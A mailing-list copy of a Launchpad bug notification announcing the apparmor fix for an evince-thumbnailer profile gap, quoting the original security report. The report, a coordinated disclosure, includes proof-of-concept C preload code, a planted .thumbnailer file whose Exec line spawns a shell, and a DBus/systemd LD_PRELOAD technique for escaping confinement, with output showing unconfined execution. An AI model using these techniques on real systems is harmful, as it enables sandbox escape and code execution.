← Back to team overview

group.of.nepali.translators team mailing list archive

[Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince

 

This bug was fixed in the package apparmor - 2.12-4ubuntu5.1

---------------
apparmor (2.12-4ubuntu5.1) bionic-security; urgency=medium

  * lp1788929+1794848.patch:
    - disallow writes to thumbnailer dir (LP: #1788929)
    - disallow access to the dirs of private files (LP: #1794848)

 -- Jamie Strandboge <jamie@xxxxxxxxxx>  Thu, 27 Sep 2018 18:20:54 +0000

** Changed in: apparmor (Ubuntu Bionic)
       Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1788929

Title:
  Debian/Ubuntu AppArmor policy gaps in evince

Status in AppArmor:
  Fix Released
Status in apparmor package in Ubuntu:
  Fix Released
Status in evince package in Ubuntu:
  Fix Released
Status in apparmor source package in Trusty:
  Fix Released
Status in evince source package in Trusty:
  In Progress
Status in apparmor source package in Xenial:
  Fix Committed
Status in evince source package in Xenial:
  In Progress
Status in apparmor source package in Bionic:
  Fix Released
Status in evince source package in Bionic:
  In Progress
Status in apparmor source package in Cosmic:
  Fix Released
Status in evince source package in Cosmic:
  Fix Released

Bug description:
  [Note on coordination: I'm reporting this as a security bug to both Ubuntu
  (because Ubuntu is where this policy originally comes from, and Ubuntu is also
  where AppArmor is most relevant) and Debian (because the AppArmor policy has
  been merged into Debian's version of the package). It isn't clear to me who
  really counts as upstream here...]

  Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
  things, restricts evince-thumbnailer. The Ubuntu security team seems to
  incorrectly believe that this policy provides meaningful security isolation:

  https://twitter.com/alex_murray/status/1032780425834446849
  https://twitter.com/alex_murray/status/1032796879640190976

  This AppArmor policy seems to be designed to permit everything that
  evince-thumbnailer might need; however, it does not seem to be designed to
  establish a consistent security boundary around evince-thumbnailer.

  
  For example, read+write access to almost the entire home directory is granted:

  
  /usr/bin/evince-thumbnailer {
  [...]
    # Lenient, but remember we still have abstractions/private-files-strict in
    # effect).
    @{HOME}/ r,
    owner @{HOME}/** rw,
    owner /media/**  rw,
  }

  As the comment notes, a couple files are excluded to prevent you from just
  overwriting well-known executable scripts in the user's home directory, like
  ~/.bashrc:

  [...]
    # don't allow reading/updating of run control files
    deny @{HOME}/.*rc mrk,
    audit deny @{HOME}/.*rc wl,

    # bash
    deny @{HOME}/.bash* mrk,
    audit deny @{HOME}/.bash* wl,
    deny @{HOME}/.inputrc mrk,
    audit deny @{HOME}/.inputrc wl,
  [...]

  Verification:

  user@ubuntu-18-04-vm:~$ cat preload2.c
  #define _GNU_SOURCE
  #include <stdlib.h>
  #include <fcntl.h>
  #include <errno.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <err.h>
  __attribute__((constructor)) static void entry(void) {
    printf("constructor running from %s\n", program_invocation_name);
    int fd = open("/home/user/.bashrc", O_WRONLY);
    if (fd != -1) {
      printf("success\n");
    } else {
      perror("open .bashrc");
    }
    exit(0);
  }
  user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
  user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
  constructor running from evince-thumbnailer
  open .bashrc: Permission denied
  user@ubuntu-18-04-vm:~$ dmesg|tail -n1
  [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000

  
  But of course blacklists are brittle and often trivially bypassable. For
  example, did you know that it is possible to override the system's thumbnailers
  by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
  command lines that will be executed by nautilus. To demonstrate that it is
  possible to create .thumbnailer files from evince-thumbnailer:

  user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
  ls: cannot access '.local/share/thumbnailers/': No such file or directory
  user@ubuntu-18-04-vm:~$ cat preload3.c
  #define _GNU_SOURCE
  #include <stdlib.h>
  #include <fcntl.h>
  #include <errno.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <err.h>
  __attribute__((constructor)) static void entry(void) {
    printf("constructor running from %s\n", program_invocation_name);
    if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
      err(1, "mkdir");
    FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w");
    if (!f)
      err(1, "create");
    fputs("[Thumbnailer Entry]\n", f);
    fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat</proc/self/attr/current;bash ; -exec echo %u %o ;\n", f);
    fputs("MimeType=application/pdf\n", f);
    fclose(f);
    exit(0);
  }
  user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload3.c -fPIC
  user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
  constructor running from evince-thumbnailer
  user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
  total 12
  drwxr-xr-x  2 user user 4096 Aug 24 18:08 .
  drwx------ 20 user user 4096 Aug 24 18:08 ..
  -rw-r--r--  1 user user  167 Aug 24 18:08 evil.thumbnailer
  user@ubuntu-18-04-vm:~$ cat .local/share/thumbnailers/evil.thumbnailer 
  [Thumbnailer Entry]
  Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat</proc/self/attr/current;bash ; -exec echo %u %o ;
  MimeType=application/pdf

  Afterwards, if you launch a new nautilus process and open a directory with
  a PDF file without cached thumbnail image, a gnome-terminal will pop up with the
  text:

  uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
  unconfined
  user@ubuntu-18-04-vm:~$

  
  Of course, this is somewhat suboptimal from an attacker's perspective
  if you have to wait for something to happen; what you really want is immediate
  code execution. Luckily for an attacker, the AppArmor policy also permits
  unrestricted DBus access - I have no idea why a thumbnail generation tool might
  possibly need DBus access:

  /usr/bin/evince-thumbnailer {
    #include <abstractions/dbus-session>
  [...]
  }

  As a comment in abstractions/dbus-session explains:

    # This abstraction grants full session bus access. Consider using the
    # dbus-session-strict abstraction for fine-grained bus mediation.

  Nowadays the session bus contains tons of interesting services. For example, the
  systemd session instance is listening there, and as you can see at
  https://www.freedesktop.org/wiki/Software/systemd/dbus/ , it has tons of methods
  that you really don't want untrusted code to touch. Some quotes:

      StartUnit() enqeues a start job, and possibly depending jobs.
      Takes the unit to activate, plus a mode string.
      [...]
      SetEnvironment() may be used to alter the environment block
      that is passed to all spawned processes. Takes a string array
      with environment variable assignments. Settings passed will
      override previously set variables.
      [...]
      Similar, LinkUnitFiles() links unit files (that are located
      outside of the usual unit search paths) into the unit search path.

  This means that you can break out of the AppArmor-confined context as follows:
   - drop an ELF library with a malicious constructor function at
     $HOME/.systemd_preload_lib (path doesn't really matter, except that write
     access to it must be permitted by AppArmor)
   - invoke SetEnvironment() over DBus to add
     "LD_PRELOAD=$HOME/.systemd_preload_lib" to the environment of all newly
     started units
   - invoke Restart() on a running service (gvfs-gphoto2-volume-monitor.service)
     over DBus

  
  I have attached a PoC. Unpack the tarball, build and install it with ./build.sh
  (requires root privileges).

  The PoC requires root privileges to install a library at
  /usr/lib/x86_64-linux-gnu/libevil_preload.so, which can then be LD_PRELOAD'ed
  into evince-thumbnailer. This emulates what an attacker who has successfully
  exploited a memory corruption bug in evince-thumbnailer could do.

  After running the build script, run the PoC as follows:

  user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
  constructor running from evince-thumbnailer
  got reply
  got reply 2

  At this point, after a few seconds or so, gnome-calculator should pop up.
  Additionally, if you check the systemd log for the targeted unit, you should see
  log output from the PoC that shows that code is running in unconfined context:

  user@ubuntu-18-04-vm:~$ systemctl --user status gvfs-gphoto2-volume-monitor.service
  ● gvfs-gphoto2-volume-monitor.service - Virtual filesystem service - digital camera monitor
     Loaded: loaded (/usr/lib/systemd/user/gvfs-gphoto2-volume-monitor.service; static; vendor preset: enabled)
     Active: active (running) since Fri 2018-08-24 21:09:31 CEST; 5min ago
   Main PID: 2709 (gvfs-gphoto2-vo)
     CGroup: /user.slice/user-1000.slice/user@1000.service/gvfs-gphoto2-volume-monitor.service
             └─2709 /usr/lib/gvfs/gvfs-gphoto2-volume-monitor

  Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: shell as:
  Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: unconfined
  Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Stopped Virtual filesystem service - digital camera monitor.
  Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
  Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Starting Virtual filesystem service - digital camera monitor...
  Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Started Virtual filesystem service - digital camera monitor.

  This bug is subject to a 90 day disclosure deadline. After 90 days elapse
  or a patch has been made broadly available (whichever is earlier), the bug
  report will become visible to the public.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1788929/+subscriptions